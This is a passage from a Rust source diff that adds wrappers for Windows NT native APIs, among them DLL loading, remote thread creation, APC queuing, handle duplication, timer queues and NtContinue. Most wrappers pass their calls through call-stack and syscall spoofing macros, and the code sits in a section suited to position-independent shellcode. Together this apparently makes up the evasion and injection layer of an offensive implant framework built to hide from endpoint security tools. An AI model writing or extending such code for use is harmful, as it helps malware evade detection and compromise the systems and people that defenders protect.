a loaded DLL by name or ordinal. + /// + /// # Arguments + /// + /// * `DllHandle` - Base address (handle) of the loaded DLL. + /// * `ProcedureName` - Pointer to an `ANSI_STRING` containing the function name, or null if using ordinal. + /// * `ProcedureNumber` - Ordinal number of the function, or 0 if using name. + /// * `ProcedureAddress` - Pointer to a variable that receives the resolved function address. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn LdrGetProcedureAddress( + &mut self, + DllHandle: PVOID, + ProcedureName: PANSI_STRING, + ProcedureNumber: ULONG, + ProcedureAddress: *mut PVOID, + ) -> NTSTATUS { + let f: FnLdrGetProcedureAddress = transmute(self.LdrGetProcedureAddress_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + DllHandle, + ProcedureName, + ProcedureNumber as usize, + ProcedureAddress + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(DllHandle, ProcedureName, ProcedureNumber, ProcedureAddress) + } + + /// Load a DLL into the process address space. + /// + /// # Arguments + /// + /// * `DllPath` - Optional search path for the DLL. + /// * `DllCharacteristics` - Optional pointer to DLL characteristic flags. + /// * `DllName` - Pointer to a `UNICODE_STRING` containing the DLL name. + /// * `DllHandle` - Pointer to a variable that receives the loaded module base address. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn LdrLoadDll( + &mut self, + DllPath: PWSTR, + DllCharacteristics: PULONG, + DllName: PUNICODE_STRING, + DllHandle: *mut PVOID, + ) -> NTSTATUS { + let f: FnLdrLoadDll = transmute(self.LdrLoadDll_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + DllPath, + DllCharacteristics, + DllName, + DllHandle + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(DllPath, DllCharacteristics, DllName, DllHandle) + } + + /// Unload a previously loaded DLL. + /// + /// # Arguments + /// + /// * `DllHandle` - Base address (handle) of the DLL to unload. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn LdrUnloadDll(&mut self, DllHandle: PVOID) -> NTSTATUS { + let f: FnLdrUnloadDll = transmute(self.LdrUnloadDll_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!(&self.spoof_config, f as *const core::ffi::c_void, DllHandle) + as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(DllHandle) + } + + // ── Thread Management ────────────────────────────────────────── + + /// Resume a thread into an alertable state (processes queued APCs). + /// + /// # Arguments + /// + /// * `ThreadHandle` - Handle to the thread to resume in an alertable state. + /// * `PreviousSuspendCount` - Optional pointer to a variable that receives the previous suspend count. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtAlertResumeThread( + &mut self, + ThreadHandle: HANDLE, + PreviousSuspendCount: PULONG, + ) -> NTSTATUS { + let f: FnNtAlertResumeThread = transmute(self.NtAlertResumeThread_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + ThreadHandle, + PreviousSuspendCount + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + ThreadHandle, + PreviousSuspendCount + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(ThreadHandle, PreviousSuspendCount) + } + + // ── Handle Management ────────────────────────────────────────── + + /// Close an NT object handle. + /// + /// # Arguments + /// + /// * `Handle` - Handle to the object to close. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtClose(&mut self, Handle: HANDLE) -> NTSTATUS { + let f: FnNtClose = transmute(self.NtClose_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + Handle + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!(&self.spoof_config, f as *const core::ffi::c_void, Handle) + as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(Handle) + } + + // ── Execution Control ──────────────────────────────────────────── + + /// Restore thread context from a `CONTEXT` structure and resume execution. + /// + /// # Arguments + /// + /// * `ContextRecord` - Pointer to the `CONTEXT` structure to restore. + /// * `TestAlert` - If `TRUE`, check for pending APCs before resuming execution. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtContinue(&mut self, ContextRecord: PCONTEXT, TestAlert: BOOLEAN) -> NTSTATUS { + let f: FnNtContinue = transmute(self.NtContinue_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + ContextRecord, + TestAlert as usize + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + ContextRecord, + TestAlert as usize + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(ContextRecord, TestAlert) + } + + // ── Event / Synchronization ──────────────────────────────────── + + /// Create or open a named/unnamed event object. + /// + /// # Arguments + /// + /// * `EventHandle` - Pointer to a variable that receives the event handle. + /// * `DesiredAccess` - Access mask specifying the requested access rights. + /// * `ObjectAttributes` - Optional pointer to object attributes (name, security, etc.). + /// * `EventType` - Type of event (`NotificationEvent` or `SynchronizationEvent`). + /// * `InitialState` - If `TRUE`, the event is created in the signaled state. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtCreateEvent( + &mut self, + EventHandle: PHANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: POBJECT_ATTRIBUTES, + EventType: EVENT_TYPE, + InitialState: BOOLEAN, + ) -> NTSTATUS { + let f: FnNtCreateEvent = transmute(self.NtCreateEvent_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + EventHandle, + DesiredAccess as usize, + ObjectAttributes, + EventType as usize, + InitialState as usize + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + EventHandle, + DesiredAccess as usize, + ObjectAttributes, + EventType as usize, + InitialState as usize + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f( + EventHandle, + DesiredAccess, + ObjectAttributes, + EventType, + InitialState, + ) + } + + /// Create a new thread in a process. + /// + /// # Arguments + /// + /// * `ThreadHandle` - Pointer to a variable that receives the new thread handle. + /// * `DesiredAccess` - Access mask for the thread handle. + /// * `ObjectAttributes` - Optional pointer to object attributes for the thread. + /// * `ProcessHandle` - Handle to the process in which the thread is created. + /// * `StartRoutine` - Pointer to the application-defined function to execute. + /// * `Argument` - Pointer to a variable to pass to the thread start routine. + /// * `CreateFlags` - Thread creation flags (e.g., `THREAD_CREATE_FLAGS_CREATE_SUSPENDED`). + /// * `ZeroBits` - Number of high-order address bits that must be zero in the stack base. + /// * `StackSize` - Initial size of the stack, in bytes. + /// * `MaximumStackSize` - Maximum size of the stack, in bytes. + /// * `AttributeList` - Optional pointer to a process/thread attribute list. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtCreateThreadEx( + &mut self, + ThreadHandle: PHANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: POBJECT_ATTRIBUTES, + ProcessHandle: HANDLE, + StartRoutine: PVOID, + Argument: PVOID, + CreateFlags: ULONG, + ZeroBits: SIZE_T, + StackSize: SIZE_T, + MaximumStackSize: SIZE_T, + AttributeList: PPS_ATTRIBUTE_LIST, + ) -> NTSTATUS { + let f: FnNtCreateThreadEx = transmute(self.NtCreateThreadEx_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + ThreadHandle, + DesiredAccess as usize, + ObjectAttributes, + ProcessHandle, + StartRoutine, + Argument, + CreateFlags as usize, + ZeroBits, + StackSize, + MaximumStackSize, + AttributeList + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + ThreadHandle, + DesiredAccess as usize, + ObjectAttributes, + ProcessHandle, + StartRoutine, + Argument, + CreateFlags as usize, + ZeroBits, + StackSize, + MaximumStackSize, + AttributeList + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f( + ThreadHandle, + DesiredAccess, + ObjectAttributes, + ProcessHandle, + StartRoutine, + Argument, + CreateFlags, + ZeroBits, + StackSize, + MaximumStackSize, + AttributeList, + ) + } + + /// Open a handle to an existing thread. + /// + /// # Arguments + /// + /// * `ThreadHandle` - Pointer to a variable that receives the thread handle. + /// * `DesiredAccess` - Access mask specifying the requested access rights. + /// * `ObjectAttributes` - Pointer to the object attributes structure. + /// * `ClientId` - Pointer to a `CLIENT_ID` identifying the thread to open. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtOpenThread( + &mut self, + ThreadHandle: PHANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: POBJECT_ATTRIBUTES, + ClientId: PCLIENT_ID, + ) -> NTSTATUS { + let f: FnNtOpenThread = transmute(self.NtOpenThread_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + ThreadHandle, + DesiredAccess as usize, + ObjectAttributes, + ClientId + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + ThreadHandle, + DesiredAccess as usize, + ObjectAttributes, + ClientId + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(ThreadHandle, DesiredAccess, ObjectAttributes, ClientId) + } + + /// Retrieve information about a process. + /// + /// # Arguments + /// + /// * `ProcessHandle` - Handle to the process to query. + /// * `ProcessInformationClass` - Type of process information to retrieve. + /// * `ProcessInformation` - Pointer to a buffer that receives the requested information. + /// * `ProcessInformationLength` - Size of the `ProcessInformation` buffer, in bytes. + /// * `ReturnLength` - Optional pointer to a variable that receives the actual size of data returned. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtQueryInformationProcess( + &mut self, + ProcessHandle: HANDLE, + ProcessInformationClass: PROCESSINFOCLASS, + ProcessInformation: PVOID, + ProcessInformationLength: ULONG, + ReturnLength: *mut ULONG, + ) -> NTSTATUS { + let f: FnNtQueryInformationProcess = transmute(self.NtQueryInformationProcess_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + ProcessHandle, + ProcessInformationClass as usize, + ProcessInformation, + ProcessInformationLength as usize, + ReturnLength + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + ProcessHandle, + ProcessInformationClass as usize, + ProcessInformation, + ProcessInformationLength as usize, + ReturnLength + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f( + ProcessHandle, + ProcessInformationClass, + ProcessInformation, + ProcessInformationLength, + ReturnLength, + ) + } + + // ── APC ────────────────────────────────────────────────────────── + + /// Queue a user-mode APC to a thread. + /// + /// # Arguments + /// + /// * `ThreadHandle` - Handle to the thread to which the APC is queued. + /// * `ApcRoutine` - Pointer to the APC routine to execute. + /// * `ApcArgument1` - First argument passed to the APC routine. + /// * `ApcArgument2` - Second argument passed to the APC routine. + /// * `ApcArgument3` - Third argument passed to the APC routine. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtQueueApcThread( + &mut self, + ThreadHandle: HANDLE, + ApcRoutine: PVOID, + ApcArgument1: PVOID, + ApcArgument2: PVOID, + ApcArgument3: PVOID, + ) -> NTSTATUS { + let f: FnNtQueueApcThread = transmute(self.NtQueueApcThread_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + ThreadHandle, + ApcRoutine, + ApcArgument1, + ApcArgument2, + ApcArgument3 + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + ThreadHandle, + ApcRoutine, + ApcArgument1, + ApcArgument2, + ApcArgument3 + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f( + ThreadHandle, + ApcRoutine, + ApcArgument1, + ApcArgument2, + ApcArgument3, + ) + } + + /// Set an event object to the signaled state. + /// + /// # Arguments + /// + /// * `EventHandle` - Handle to the event object to signal. + /// * `PreviousState` - Optional pointer to a variable that receives the previous event state. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtSetEvent(&mut self, EventHandle: HANDLE, PreviousState: *mut LONG) -> NTSTATUS { + let f: FnNtSetEvent = transmute(self.NtSetEvent_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + EventHandle, + PreviousState + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + EventHandle, + PreviousState + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(EventHandle, PreviousState) + } + + /// Atomically signal one object and wait on another. + /// + /// # Arguments + /// + /// * `SignalHandle` - Handle to the object to signal. + /// * `WaitHandle` - Handle to the object to wait on. + /// * `Alertable` - If `TRUE`, the wait is alertable (APCs can interrupt it). + /// * `Timeout` - Optional pointer to a timeout value (negative for relative, positive for absolute). + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtSignalAndWaitForSingleObject( + &mut self, + SignalHandle: HANDLE, + WaitHandle: HANDLE, + Alertable: BOOLEAN, + Timeout: PLARGE_INTEGER, + ) -> NTSTATUS { + let f: FnNtSignalAndWaitForSingleObject = + transmute(self.NtSignalAndWaitForSingleObject_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + SignalHandle, + WaitHandle, + Alertable as usize, + Timeout + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + SignalHandle, + WaitHandle, + Alertable as usize, + Timeout + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(SignalHandle, WaitHandle, Alertable, Timeout) + } + + /// Terminate a thread. + /// + /// # Arguments + /// + /// * `ThreadHandle` - Handle to the thread to terminate, or null for the current thread. + /// * `ExitStatus` - Exit status for the thread. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtTerminateThread( + &mut self, + ThreadHandle: HANDLE, + ExitStatus: NTSTATUS, + ) -> NTSTATUS { + let f: FnNtTerminateThread = transmute(self.NtTerminateThread_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + ThreadHandle, + ExitStatus as usize + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + ThreadHandle, + ExitStatus as usize + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(ThreadHandle, ExitStatus) + } + + /// Check for and deliver pending APCs on the calling thread. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtTestAlert(&mut self) -> NTSTATUS { + let f: FnNtTestAlert = transmute(self.NtTestAlert_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!(&self.syscall_spoof_config, f as *const core::ffi::c_void) + as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!(&self.spoof_config, f as *const core::ffi::c_void) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f() + } + + // ── Object Duplication ──────────────────────────────────────── + + /// Duplicate an object handle into the same or another process. + /// + /// # Arguments + /// + /// * `SourceProcessHandle` - Handle to the source process containing the handle to duplicate. + /// * `SourceHandle` - Handle to duplicate. + /// * `TargetProcessHandle` - Handle to the target process that receives the duplicated handle. + /// * `TargetHandle` - Pointer to a variable that receives the duplicated handle. + /// * `DesiredAccess` - Access mask for the new handle. + /// * `HandleAttributes` - Attributes for the new handle (e.g., `OBJ_INHERIT`). + /// * `Options` - Duplication options (e.g., `DUPLICATE_SAME_ACCESS`, `DUPLICATE_CLOSE_SOURCE`). + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtDuplicateObject( + &mut self, + SourceProcessHandle: HANDLE, + SourceHandle: HANDLE, + TargetProcessHandle: HANDLE, + TargetHandle: PHANDLE, + DesiredAccess: ACCESS_MASK, + HandleAttributes: ULONG, + Options: ULONG, + ) -> NTSTATUS { + let f: FnNtDuplicateObject = transmute(self.NtDuplicateObject_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + SourceProcessHandle, + SourceHandle, + TargetProcessHandle, + TargetHandle, + DesiredAccess as usize, + HandleAttributes as usize, + Options as usize, + ) as NTSTATUS; + + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + SourceProcessHandle, + SourceHandle, + TargetProcessHandle, + TargetHandle, + DesiredAccess as usize, + HandleAttributes as usize, + Options as usize, + ) as NTSTATUS; + + #[cfg(not(feature = "spoof-uwd"))] + f( + SourceProcessHandle, + SourceHandle, + TargetProcessHandle, + TargetHandle, + DesiredAccess, + HandleAttributes, + Options, + ) + } + + // ── Heap Allocation ────────────────────────────────────────────── + + /// Allocate a block from a heap. + /// + /// # Arguments + /// + /// * `HeapHandle` - Handle to the heap from which to allocate. + /// * `Flags` - Heap allocation flags (e.g., `HEAP_ZERO_MEMORY`). + /// * `Size` - Number of bytes to allocate. + /// + /// # Returns + /// + /// Pointer to the allocated memory block, or null on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn RtlAllocateHeap( + &mut self, + HeapHandle: PVOID, + Flags: ULONG, + Size: SIZE_T, + ) -> PVOID { + let f: FnRtlAllocateHeap = transmute(self.RtlAllocateHeap_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + HeapHandle, + Flags as usize, + Size + ) as PVOID; + #[cfg(not(feature = "spoof-uwd"))] + f(HeapHandle, Flags, Size) + } + + // ── Thread Exit ────────────────────────────────────────────────── + + /// Terminate the calling thread (does not return). + /// + /// # Arguments + /// + /// * `ExitStatus` - Exit status code for the thread. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn RtlExitUserThread(&self, ExitStatus: NTSTATUS) -> ! { + let f: FnRtlExitUserThread = transmute(self.RtlExitUserThread_ptr); + f(ExitStatus) + } + + /// Free a block previously allocated from a heap. + /// + /// # Arguments + /// + /// * `HeapHandle` - Handle to the heap that contains the block to free. + /// * `Flags` - Heap free flags. + /// * `BaseAddress` - Pointer to the memory block to free. + /// + /// # Returns + /// + /// Nonzero (`TRUE`) on success, 0 (`FALSE`) on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn RtlFreeHeap( + &mut self, + HeapHandle: PVOID, + Flags: ULONG, + BaseAddress: PVOID, + ) -> BOOLEAN { + let f: FnRtlFreeHeap = transmute(self.RtlFreeHeap_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + HeapHandle, + Flags as usize, + BaseAddress + ) as BOOLEAN; + #[cfg(not(feature = "spoof-uwd"))] + f(HeapHandle, Flags, BaseAddress) + } + + // ── String Operations ──────────────────────────────────────────── + + /// Initialize an ANSI_STRING from a null-terminated C string. + /// + /// # Arguments + /// + /// * `DestinationString` - Pointer to the `ANSI_STRING` structure to initialize. + /// * `SourceString` - Pointer to a null-terminated ANSI string to use as the source. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn RtlInitAnsiString( + &mut self, + DestinationString: PANSI_STRING, + SourceString: PCSZ, + ) { + let f: FnRtlInitAnsiString = transmute(self.RtlInitAnsiString_ptr); + #[cfg(feature = "spoof-uwd")] + { + crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + DestinationString, + SourceString + ); + return; + } + #[cfg(not(feature = "spoof-uwd"))] + f(DestinationString, SourceString) + } + + /// Initialize a UNICODE_STRING from a null-terminated wide string. + /// + /// # Arguments + /// + /// * `DestinationString` - Pointer to the `UNICODE_STRING` structure to initialize. + /// * `SourceString` - Pointer to a null-terminated wide (UTF-16) string to use as the source. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn RtlInitUnicodeString( + &mut self, + DestinationString: PUNICODE_STRING, + SourceString: PCWSTR, + ) { + let f: FnRtlInitUnicodeString = transmute(self.RtlInitUnicodeString_ptr); + #[cfg(feature = "spoof-uwd")] + { + crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + DestinationString, + SourceString + ); + return; + } + #[cfg(not(feature = "spoof-uwd"))] + f(DestinationString, SourceString) + } + + /// Convert an ANSI string to a Unicode string. + /// + /// # Arguments + /// + /// * `DestinationString` - Pointer to the `UNICODE_STRING` that receives the converted string. + /// * `SourceString` - Pointer to the source `ANSI_STRING` to convert. + /// * `AllocateDestinationString` - If `TRUE`, the routine allocates the buffer for the destination string. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn RtlAnsiStringToUnicodeString( + &mut self, + DestinationString: PUNICODE_STRING, + SourceString: PCANSI_STRING, + AllocateDestinationString: BOOLEAN, + ) -> NTSTATUS { + let f: FnRtlAnsiStringToUnicodeString = transmute(self.RtlAnsiStringToUnicodeString_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + DestinationString, + SourceString, + AllocateDestinationString as usize + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(DestinationString, SourceString, AllocateDestinationString) + } + + /// Free a Unicode string allocated by the runtime. + /// + /// # Arguments + /// + /// * `UnicodeString` - Pointer to the `UNICODE_STRING` whose buffer is to be freed. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn RtlFreeUnicodeString(&mut self, UnicodeString: PUNICODE_STRING) { + let f: FnRtlFreeUnicodeString = transmute(self.RtlFreeUnicodeString_ptr); + #[cfg(feature = "spoof-uwd")] + { + crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + UnicodeString + ); + return; + } + #[cfg(not(feature = "spoof-uwd"))] + f(UnicodeString) + } + + // ── Miscellaneous ──────────────────────────────────────────────── + + /// Generate a pseudo-random number. + /// + /// # Arguments + /// + /// * `Seed` - Pointer to a seed value that is updated on each call. + /// + /// # Returns + /// + /// A pseudo-random `ULONG` value. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn RtlRandomEx(&mut self, Seed: PULONG) -> ULONG { + let f: FnRtlRandomEx = transmute(self.RtlRandomEx_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!(&self.spoof_config, f as *const core::ffi::c_void, Seed) as ULONG; + #[cfg(not(feature = "spoof-uwd"))] + f(Seed) + } + + /// Enumerate heap entries. + /// + /// # Arguments + /// + /// * `HeapHandle` - Handle to the heap to enumerate. + /// * `Entry` - Pointer to a `RTL_HEAP_WALK_ENTRY` structure that receives the next heap entry. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn RtlWalkHeap( + &mut self, + HeapHandle: PVOID, + Entry: PRTL_HEAP_WALK_ENTRY, + ) -> NTSTATUS { + let f: FnRtlWalkHeap = transmute(self.RtlWalkHeap_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + HeapHandle, + Entry + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(HeapHandle, Entry) + } + + // ── Timer Queue ────────────────────────────────────────────────── + + /// Create a timer queue for lightweight timers. + /// + /// # Arguments + /// + /// * `TimerQueueHandle` - Pointer to a variable that receives the handle to the new timer queue. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn RtlCreateTimerQueue(&mut self, TimerQueueHandle: *mut HANDLE) -> NTSTATUS { + let f: FnRtlCreateTimerQueue = transmute(self.RtlCreateTimerQueue_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + TimerQueueHandle + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(TimerQueueHandle) + } + + /// Delete a timer queue and all associated timers. + /// + /// # Arguments + /// + /// * `TimerQueueHandle` - Handle to the timer queue to delete. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn RtlDeleteTimerQueue(&mut self, TimerQueueHandle: HANDLE) -> NTSTATUS { + let f: FnRtlDeleteTimerQueue = transmute(self.RtlDeleteTimerQueue_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + TimerQueueHandle + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(TimerQueueHandle) + } + + /// Create a timer in a timer queue. + /// + /// # Arguments + /// + /// * `TimerQueueHandle` - Handle to the timer queue in which to create the timer. + /// * `Handle` - Pointer to a variable that receives the handle to the new timer. + /// * `Function` - Pointer to the callback function to invoke when the timer fires. + /// * `Context` - Pointer to application-defined data passed to the callback. + /// * `DueTime` - Time in milliseconds before the timer fires the first time. + /// * `Period` - Timer period in milliseconds (0 for a one-shot timer). + /// * `Flags` - Timer creation flags (e.g., `WT_EXECUTEINTIMERTHREAD`). + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn RtlCreateTimer( + &mut self, + TimerQueueHandle: HANDLE, + Handle: *mut HANDLE, + Function: PVOID, + Context: PVOID, + DueTime: u32, + Period: u32, + Flags: u32, + ) -> NTSTATUS { + let f: FnRtlCreateTimer = transmute(self.RtlCreateTimer_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + TimerQueueHandle, + Handle, + Function, + Context, + DueTime as usize, + Period as usize, + Flags as usize + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f( + TimerQueueHandle, + Handle, + Function, + Context, + DueTime, + Period, + Flags, + ) + } + + // ── Context Capture ────────────────────────────────────────────── + + /// Capture the calling thread's full register context. + /// + /// # Arguments + /// + /// * `ContextRecord` - Pointer to a `CONTEXT` structure that receives the captured register state. + 